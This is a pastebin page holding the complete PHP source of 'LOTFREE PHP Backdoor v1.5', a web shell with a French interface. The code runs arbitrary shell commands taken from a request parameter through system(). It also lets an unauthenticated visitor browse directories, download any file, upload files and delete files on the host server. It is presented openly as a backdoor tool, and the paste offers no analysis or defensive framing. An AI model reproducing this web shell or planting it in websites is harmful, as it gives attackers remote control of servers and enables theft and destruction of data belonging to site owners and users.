gnopaste

Sorry for this ugly message. We are searching for some translators.
Please take a look here
Thanks to all translators, you're doing a great job!

Name
Php backdoor 1.5
Scriptlanguage
PHP
Tabwidth
4
Date
02/27/2010 01:35:02 pm
IP
84.223.201.4

www.michelepapaleo.it

  1. <?php
  2. function good_link($link)
  3. {
  4.   $link=ereg_replace("/+","/",$link);
  5.   $link=ereg_replace("/[^/(..)]+/\.\.","/",$link);
  6.   $link=ereg_replace("/+","/",$link);
  7.   if(!strncmp($link,"./",2) && strlen($link)>2)$link=substr($link,2);
  8.   if($link=="")$link=".";
  9.   return $link;
  10. }
  11.  
  12. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:".";
  13. $dir=good_link($dir);
  14. $rep=opendir($dir);
  15. chdir($dir);
  16.  
  17. if(isset($_REQUEST["down"]) && $_REQUEST["down"]!="")
  18. {
  19.   header("Content-Type: application/octet-stream");
  20.   header("Content-Length: ".filesize($_REQUEST["down"]));
  21.   header("Content-Disposition: attachment; filename=".basename($_REQUEST["down"]));
  22.   readfile($_REQUEST["down"]);
  23.   exit();
  24. }
  25. ?>
  26. <html>
  27. <head><title>LOTFREE PHP Backdoor v1.5</title></head>
  28. <body>
  29. <br>
  30. <?php
  31.   echo "Actuellement dans <b>".getcwd()."</b><br>\n";
  32.   echo "<b>dir = '$dir'</b><br>\n";
  33.   echo "Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez sur une croix pour effacer un fichier !<br><br>\n";
  34.  
  35.   if(isset($_REQUEST['cmd']) && $_REQUEST['cmd']!="")
  36.   {
  37.     echo "<pre>\n";
  38.     system($_REQUEST['cmd']);
  39.     echo "</pre>\n";
  40.   }
  41.  
  42.   if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"]))
  43.   {
  44.     if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"])
  45.     {
  46.       if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"])))
  47.       {
  48.         echo "fichier telecharge dans ".good_link("./".$_FILES["fic"]["name"])."!<br>\n";
  49.       }
  50.       else echo "upload failed: ".$_FILES["fic"]["error"]."<br>\n";
  51.     }
  52.     else echo "fichier trop gros!<br>\n";
  53.   }
  54.  
  55.   if(isset($_REQUEST['rm']) && $_REQUEST['rm']!="")
  56.   {
  57.     if(unlink($_REQUEST['rm']))echo "fichier ".$_REQUEST['rm']." efface !<br>\n";
  58.     else echo "Impossible de supprimer le fichier<br>\n";
  59.   }
  60.  
  61. ?>
  62. <hr>
  63. <table align="center" width="95%" border="0" cellspacing="0" bgstyle="color: lightblue">
  64. <?php
  65.   $t_dir=array();
  66.   $t_file=array();
  67.   $i_dir=0;
  68.   $i_file=0;
  69.   while($x=readdir($rep))
  70.   {
  71.     if(is_dir($x))$t_dir[$i_dir++]=$x;
  72.     else $t_file[$i_file++]=$x;
  73.   }
  74.   closedir($rep);
  75.   while(1)
  76.   {
  77. ?>
  78. <tr>
  79.   <td width="20%" bgstyle="color: lightgray" valign="top">
  80. <?php
  81.     if($x=each($t_dir))
  82.     {
  83.       $name=$x["value"];
  84.       if($name=='.'){}
  85.       elseif($name=='..') echo "    <a href='".$_SERVER['PHP_SELF']."?dir=".good_link("$dir/../")."'>UP</a><br><br>\n";
  86.       else echo "    <a href='".$_SERVER['PHP_SELF']."?dir=".good_link("$dir/$name")."'>".$name."</a>\n";
  87.     }
  88. ?>
  89.   </td>
  90.   <td width='78%'<?php
  91.     if($y=each($t_file))
  92.     {
  93.       if($y["key"]%2==0)echo " bgcolor='lightgreen'>\n";
  94.       else echo ">\n";
  95.       echo "    <a href='".$_SERVER['PHP_SELF']."?dir=$dir&down=".$y["value"]."'>".$y["value"]."</a>\n";
  96.     }
  97.     else echo ">\n";
  98. ?>
  99.   </td>
  100.   <td valign='center' width='2%'<?php
  101.     if($y)
  102.     {
  103.       if($y["key"]%2==0)echo " bgcolor='lightgreen'";
  104.       echo "><a href='".$_SERVER['PHP_SELF']."?dir=$dir&rm=".$y["value"]."'><b>X</b></a>";
  105.     }
  106.     else echo ">\n";
  107. ?></td>
  108. </tr>
  109. <?php
  110.     if(!$x && !$y)break;
  111.   }
  112. ?>
  113. </table>
  114. <hr>
  115. <br>
  116. <a href="<?php echo $_SERVER['PHP_SELF']; ?>?dir=">revenir au repertoire d'origine</a><br><br>
  117. <form method="post" action="<?php echo $_SERVER['PHP_SELF']."?dir=$dir"; ?>">
  118. Executer une commande <input type="text" name="cmd"> <input type="submit" value="g0!">
  119. </form><br>
  120. Uploader un fichier dans le repertoire courant :<br>
  121. <form enctype="multipart/form-data" method="post" action="<?php echo $_SERVER['PHP_SELF']."?dir=$dir"; ?>">
  122. <input type="file" name="fic"><input type="hidden" name="MAX_FILE_SIZE" value="100000">
  123. <input type="submit" value="upl0ad!"></form><br>
  124. <br>
  125. <center>
  126. PHP Backdoor Version 1.5<br>
  127. by sirius_black / LOTFREE TEAM<br>
  128. Execute commands, browse the filesystem<br>
  129. Upload, download and delete files...<br>
  130. <a href="http://www.lsdp.net/~lotfree">http://www.lsdp.net/~lotfree</a><br>
  131. </center>
  132. </body>
  133. </html>
submitter » gnopaster | imprint « imprint     
» Terms of use «


Donate via Bitcoin:
1KCq5UvwuTMwgSAHUsd7eqkBWTHZau1ydN